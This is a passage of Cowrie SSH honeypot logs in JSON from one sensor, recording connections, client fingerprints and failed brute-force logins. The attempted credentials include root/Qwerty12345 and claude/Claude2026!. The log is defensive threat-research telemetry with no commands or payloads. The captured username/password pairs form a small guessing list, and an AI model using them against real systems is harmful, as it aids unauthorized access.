6-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:28.855683Z","src_ip":"171.244.141.86","session":"a9184c9b54b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:29.896355Z","src_ip":"171.244.141.86","session":"a9184c9b54b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:31.152313Z","src_ip":"171.244.141.86","session":"a9184c9b54b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":38062,"dst_ip":"159.203.135.109","dst_port":22,"session":"4588bf3d6840","protocol":"ssh","message":"New connection: 43.173.125.185:38062 (159.203.135.109:22) [session: 4588bf3d6840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:38.573509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:38.578429Z","src_ip":"43.173.125.185","session":"4588bf3d6840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:38.647675Z","src_ip":"43.173.125.185","session":"4588bf3d6840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhou","password":"zhou","message":"login attempt [zhou/zhou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:38.952034Z","src_ip":"43.173.125.185","session":"4588bf3d6840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:40.023830Z","src_ip":"43.173.125.185","session":"4588bf3d6840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":53886,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe3cd58ac93","protocol":"ssh","message":"New connection: 170.106.188.200:53886 (159.203.135.109:22) [session: ebe3cd58ac93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:43.028267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:43.031872Z","src_ip":"170.106.188.200","session":"ebe3cd58ac93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:43.099822Z","src_ip":"170.106.188.200","session":"ebe3cd58ac93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kv123","message":"login attempt [root/kv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:43.403278Z","src_ip":"170.106.188.200","session":"ebe3cd58ac93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:44.474609Z","src_ip":"170.106.188.200","session":"ebe3cd58ac93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":44270,"dst_ip":"159.203.135.109","dst_port":22,"session":"8340041b33ed","protocol":"ssh","message":"New connection: 193.228.128.84:44270 (159.203.135.109:22) [session: 8340041b33ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:50.116374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:50.120614Z","src_ip":"193.228.128.84","session":"8340041b33ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:50.221749Z","src_ip":"193.228.128.84","session":"8340041b33ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmmmmm","message":"login attempt [root/mmmmmm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:50.525829Z","src_ip":"193.228.128.84","session":"8340041b33ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:51.631914Z","src_ip":"193.228.128.84","session":"8340041b33ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":49134,"dst_ip":"159.203.135.109","dst_port":22,"session":"a53dcb76f6fc","protocol":"ssh","message":"New connection: 43.173.125.185:49134 (159.203.135.109:22) [session: a53dcb76f6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:15.433924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:15.438640Z","src_ip":"43.173.125.185","session":"a53dcb76f6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:15.509815Z","src_ip":"43.173.125.185","session":"a53dcb76f6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:15.815218Z","src_ip":"43.173.125.185","session":"a53dcb76f6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:16.885504Z","src_ip":"43.173.125.185","session":"a53dcb76f6fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":38484,"dst_ip":"159.203.135.109","dst_port":22,"session":"8392e29978e2","protocol":"ssh","message":"New connection: 103.91.246.101:38484 (159.203.135.109:22) [session: 8392e29978e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:32.085394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:32.090145Z","src_ip":"103.91.246.101","session":"8392e29978e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:32.320391Z","src_ip":"103.91.246.101","session":"8392e29978e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ma123456.","message":"login attempt [root/Ma123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:33.257285Z","src_ip":"103.91.246.101","session":"8392e29978e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:34.486033Z","src_ip":"103.91.246.101","session":"8392e29978e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51778,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab5b10b02b16","protocol":"ssh","message":"New connection: 103.75.183.219:51778 (159.203.135.109:22) [session: ab5b10b02b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:40.851807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:40.855456Z","src_ip":"103.75.183.219","session":"ab5b10b02b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:41.098126Z","src_ip":"103.75.183.219","session":"ab5b10b02b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666666","message":"login attempt [root/6666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:41.818917Z","src_ip":"103.75.183.219","session":"ab5b10b02b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:43.065372Z","src_ip":"103.75.183.219","session":"ab5b10b02b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":34016,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f1e654e491a","protocol":"ssh","message":"New connection: 171.244.141.86:34016 (159.203.135.109:22) [session: 4f1e654e491a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:50.378547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:50.382554Z","src_ip":"171.244.141.86","session":"4f1e654e491a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:50.639441Z","src_ip":"171.244.141.86","session":"4f1e654e491a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:51.680872Z","src_ip":"171.244.141.86","session":"4f1e654e491a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:52.938948Z","src_ip":"171.244.141.86","session":"4f1e654e491a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":46734,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aaae5951221","protocol":"ssh","message":"New connection: 43.173.125.185:46734 (159.203.135.109:22) [session: 8aaae5951221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:54.444909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:54.449745Z","src_ip":"43.173.125.185","session":"8aaae5951221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:54.520808Z","src_ip":"43.173.125.185","session":"8aaae5951221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:54.828752Z","src_ip":"43.173.125.185","session":"8aaae5951221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:21:55.900739Z","src_ip":"43.173.125.185","session":"8aaae5951221","protocol":"ssh"}
